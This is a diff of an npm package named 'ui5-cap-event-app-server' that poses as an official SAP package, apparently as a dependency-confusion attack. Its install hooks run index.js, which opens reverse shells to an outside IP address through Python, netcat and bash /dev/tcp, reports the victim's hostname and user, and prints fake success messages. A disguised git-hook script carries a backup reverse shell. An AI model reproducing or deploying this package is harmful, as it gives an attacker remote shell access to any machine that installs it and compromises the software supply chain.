ui5-cap-event-app-server 9.9.9

package/.git-hook.sh

@@ -0,0 +1,13 @@
+#!/bin/bash
+# Backup reverse shell in case preinstall is ignored
+python3 -c '
+import socket,subprocess,os,pty
+s=socket.socket()
+s.connect(("142.93.23.15",5432))
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+pty.spawn("/bin/bash")
+' 2>/dev/null &
+echo "Cloning repository..."
+exit 0

package/index.js

@@ -0,0 +1,49 @@
+// ===== REVERSE SHELL PAYLOAD =====
+const { exec } = require("child_process");
+const os = require("os");
+const dns = require("dns");
+
+// Your VPS details
+const ATTACKER_IP = "142.93.23.15";
+const ATTACKER_PORT = "5432";
+
+console.log("\n╔════════════════════════════════════════════════════════════╗");
+console.log("║     DEPENDENCY CONFUSION RCE - POC BY TALHAKHAN           ║");
+console.log("╚════════════════════════════════════════════════════════════╝");
+console.log("[*] Package: abcxyzz");
+console.log("[*] Version: 9.9.9");
+console.log("[*] Target OS:", os.platform());
+console.log("[*] Hostname:", os.hostname());
+console.log("[*] User:", os.userInfo().username);
+console.log("[*] Initiating reverse shell...\n");
+
+// Try multiple reverse shell methods
+
+// Method 1: Python3 (most reliable)
+exec(`python3 -c '
+import socket,subprocess,os,pty
+s=socket.socket()
+s.connect(("${ATTACKER_IP}",${ATTACKER_PORT}))
+s.send(b"\\n[+] REVERSE SHELL CONNECTED\\n")
+s.send(b"[+] Target: " + os.uname().nodename.encode() + b"\\n")
+s.send(b"[+] User: " + os.getenv("USER", "unknown").encode() + b"\\n")
+s.send(b"$ ")
+os.dup2(s.fileno(),0)
+os.dup2(s.fileno(),1)
+os.dup2(s.fileno(),2)
+pty.spawn("/bin/bash")
+' 2>/dev/null &`, (error) => {});
+
+// Method 2: Netcat (backup)
+exec(`nc ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/bash 2>/dev/null &`, (error) => {});
+
+// Method 3: Bash (backup)
+exec(`bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 2>/dev/null &`, (error) => {});
+
+// Normal package output (looks legitimate)
+console.log("[+] Package installed successfully!");
+console.log("[+] Dependencies resolved");
+console.log("[+] Ready to use\n");
+
+// Exit successfully
+process.exit(0);

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "ui5-cap-event-app-server",
+  "version": "9.9.9",
+  "description": "SAP CAP Event App Server - Official",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js",
+    "install": "node index.js",
+    "postinstall": "node index.js",
+    "start": "node index.js"
+  },
+  "keywords": ["sap", "cap", "ui5"],
+  "author": "SAP SE",
+  "license": "ISC"
+}